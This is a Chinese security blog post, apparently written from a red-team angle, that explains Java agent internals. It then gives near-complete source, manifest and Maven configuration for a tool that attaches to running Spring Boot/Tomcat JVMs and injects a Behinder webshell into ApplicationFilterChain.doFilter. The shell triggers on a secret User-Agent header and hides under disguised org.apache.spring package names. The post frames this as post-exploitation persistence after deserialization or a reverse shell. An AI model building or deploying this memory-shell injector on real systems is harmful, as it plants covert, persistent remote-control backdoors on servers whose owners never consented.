你是否遇到过这样的场景,springboot环境下各种反序列化的点,但是可用的反序列化链不能直接加载类打入内存马,只能执行系统命令,甚至目标环境不出网,或者已经反弹shell或cs上线成功了,但是想要注入一个webshell。这时候就需要用到agent类型内存马了。
JavaAgent 是JDK 1.5 以后引入的,可以在Java程序运行之前或运行期间修改类的字节码,Java agent可以是一个编译好的jar文件,使用方式有两种:
• 实现premain方法,在JVM启动前加载。
• 实现agentmain方法,在JVM启动后加载。(jdk 1.6 之后提供)
实现了premain方法的agent 就可以在启动Java程序时使用 -javaagent 参数来加载。
实现了agentmain方法的agent可以通过进程pid来连接到启动后的Java程序上。 agentmain方法声明如下,拥有Instrumentation inst参数的方法优先级更高:
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
• 第一个参数String agentArgs就是Java agent的参数。
• 第二个参数Instrumentaion inst比较重要,有三个需要用到的方法:
1. getAllLoadedClasses:获取目标已经加载的类。
2. addTransformer:增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。
3. retransformClasses: 在类加载之后,重新定义 Class。
Agent实现主要依靠VirtualMachine和VirtualMachineDescriptor这两个类
VirtualMachine
VirtualMachine可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。
Attach:允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:解除Attach
VirtualMachineDescriptor
VirtualMachineDescriptor是用于描述 Java 虚拟机的容器类。它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。标识符依赖于实现,但通常是进程标识符(或 pid)环境,其中每个 Java 虚拟机在其自己的操作系统进程中运行。
VirtualMachineDescriptor实例通常是通过调用VirtualMachine.list() 方法创建的。这将返回描述所有已安装 Java 虚拟机的完整描述符列表attach providers。
jar包中的MANIFEST.MF 文件必须指定 Agentmain-Class 项,Agentmain-Class 指定的那个类必须实现 agentmain() 方法
笔者在github找了好久,基本是一些本地调试用的demo,没找到能直接能用的且较为通用的。所以就在 ethushiroha师傅 项目 JavaAgentTools BehindShell 的基础上进行修改。
package org.apache.spring;
import java.io.File;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.ArrayList;
import java.util.List;
public class m {
public static final String TransformedClassName = c.SpringMemShellConfig.TransformedClassName;
public static Instrumentation i = null;
public static void agentmain(String agentArgs, Instrumentation inst) throws ClassNotFoundException, UnmodifiableClassException, IOException {
//启动方法
i = inst;
System.out.println("Agent load ...");
start();
}
public static String start() throws UnmodifiableClassException {
System.out.println("Agent start ...");
//t继承了ClassFileTransformer接口,重写了transform方法,用于拦截修改加载的类字节码,此方法返回值是通过javassist修改好的字节码,
final t t1 = new t();
//获取目标所有已经加载的类
Class[] classes = i.getAllLoadedClasses();
for (Class aClass : classes) {
if (aClass.getName().equals(TransformedClassName)) {
//这里修改的是org.apache.catalina.core.ApplicationFilterChain类的doFilter方法,测试的时候有一个坑点是测试jar包启动时需要访问一下Web,ApplicationFilterChain类才会加载,上面获取所有类的时候才可以获取到ApplicationFilterChain类。
System.out.println("Agent get TransformedClassName ...");
//添加拦截器
i.addTransformer(t1, true);
//重新定义ApplicationFilterChain类,触发拦截器也就是t类的transform方法
i.retransformClasses(aClass);
return "Success";
}
}
return "ERROR::";
}
public static void main(String[] args)
throws RuntimeException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
//agent.jar 用到的核心类VirtualMachine和VirtualMachineDescriptor在jdk的tools.jar里,如果直接把tools.jar一块打进agent.jar里,不能跨平台使用,笔者测试mac编译无法在linux中使用
//通过URLClassLoader加载目标环境的tools.jar,可以变得更加通用
String toolsJarPath = System.getProperty("java.home") + File.separator + ".." + File.separator + "lib" + File.separator + "tools.jar";
URLClassLoader classLoader = null;
try {
classLoader = new URLClassLoader(new URL[]{new File(toolsJarPath).toURI().toURL()});
} catch (MalformedURLException e) {
System.err.println("tools.jar load error");
System.exit(-1);
}
Class<?> vmClass = null;
Class<?> vmdClass = null;
try {
vmClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
vmdClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
Object vmObj = null;
String agentpath = null;
List<String> list = new ArrayList<String>();
if (args.length == 2) {
list.add(args[0]);
agentpath = args[1];
} else if (args.length==1) {
list.add(args[0]);
//获取agent.jar的绝对路径
agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();
} else if (args.length==0) {
//通过VirtualMachineDescriptor类的list方法 获取目标环境中运行的Java进程,省去查找pid这一步
Method listMethod = vmClass.getDeclaredMethod("list", new Class[]{});
List<Object> vmlist = (List<Object>) listMethod.invoke(null);
Method idMethod = vmdClass.getDeclaredMethod("id",new Class[]{});
Method displayNameMethod= vmdClass.getDeclaredMethod("displayName",new Class[]{});
for (Object vmd : vmlist) {
System.out.println(String.format("get vmname: %s pid: %s",(String) displayNameMethod.invoke(vmd),(String) idMethod.invoke(vmd)));
list.add((String) idMethod.invoke(vmd));
}
agentpath = m.class.getProtectionDomain().getCodeSource().getLocation().getFile();
}else {
System.err.println("usage : java -jar agent.jar\r\njava -jar agent.jar pid\r\njava -jar agent.jar pid agentpath");
System.err.println("Parameter error");
System.exit(-1);
}
System.out.println(" agentpath :" + agentpath);
for (String pid :list){
try {
System.out.println(String.format("try attach %s",pid));
Method attachMethod = null;
try {
//连接到此Java进程
attachMethod = vmClass.getDeclaredMethod("attach", String.class);
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
vmObj = (Object) attachMethod.invoke(null, pid);
if (vmObj != null) {
//加载agent.jar 触发agentmain方法
Method loadAgentMethod2 = vmClass.getDeclaredMethod("loadAgent", String.class);
loadAgentMethod2.invoke(vmObj, agentpath);
}
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} finally {
if (null != vmObj) {
Method detachMethod = null;
try {
//断开连接
detachMethod = vmClass.getDeclaredMethod("detach", new Class[]{});
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
try {
detachMethod.invoke(vmObj);
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
}
}
}
t.transform 读取jar包里的start.txt,把读取到的内容插入到ApplicationFilterChain类的doFilter方法里,默认所有路由都有效,可以添加User-Agent来判断是否走到webshell,org.apache.spring.b.d就是一个冰蝎马
{
javax.servlet.http.HttpServletRequest request = $1;
javax.servlet.http.HttpServletResponse response = $2;
try {
Object session = request.getSession();
if (request.getHeader("User-Agent").equals("RainSec")) {
org.apache.spring.b.d(request, response, session);
return ;
}
} catch (Exception e) {
}
}
创建 /src/main/resources/META-INF/MANIFEST.MF 文件,内容如下
Manifest-Version: 1.0
Agent-Class: org.apache.spring.m
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true
Main-Class: org.apache.spring.m
pom.xml 中加入此配置把自定义的MANIFEST.MF打到jar包中
<plugin>
<artifactId>maven-jar-plugin</artifactId>
<version>3.2.0</version>
<configuration>
<archive>
<manifestEntries></manifestEntries>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
</plugin>
mvn clean package -DskipTests 编译 。
最后记录一下整个编写测试中遇到的坑点。
1. 刚开始直接找了几个项目编译测试均失败,后发现是tools.jar 的问题,最后用URLClassLoader加载目标环境下tools.jar 解决。
2. 测试springboot jar包启动后需访问一下web才会加载ApplicationFilterChain类,后续才能获取到再修改。
3. 本项目注入的内存马非常容易修改,测试了一下注入蚁剑webshell,因为蚁剑连接webshell不是用的反射会连接失败。
4. 刚开始想改的是threedr3am师傅的ZhouYu项目,发现直接持久化直接替换jar包会导致服务异常,重启替换后的jar之后shell可正常使用,后续添加持久化功能可以在注入进程退出时再执行替换jar包。 笔者找到的一些agent内存马项目
https://github.com/ethushiroha/JavaAgentTools
https://github.com/threedr3am/ZhouYu
https://github.com/su18/MemoryShell
5. windows下自动获取的agent路径前有一个`/`,适配windows需要添加一段代码判断为windows时把前面的`/`去掉
https://mp.weixin.qq.com/s/YVwqD6SwUq_jkEe_9afBCg
https://mp.weixin.qq.com/s/gmKSmW5SIME8lWKj8bvhWw
https://cangqingzhe.github.io/2021/10/13/JavaAgent%E5%86%85%E5%AD%98%E9%A9%AC%E7%A0%94%E7%A9%B6/
公众号后台回复Agent
获得笔者的BehindShell
源码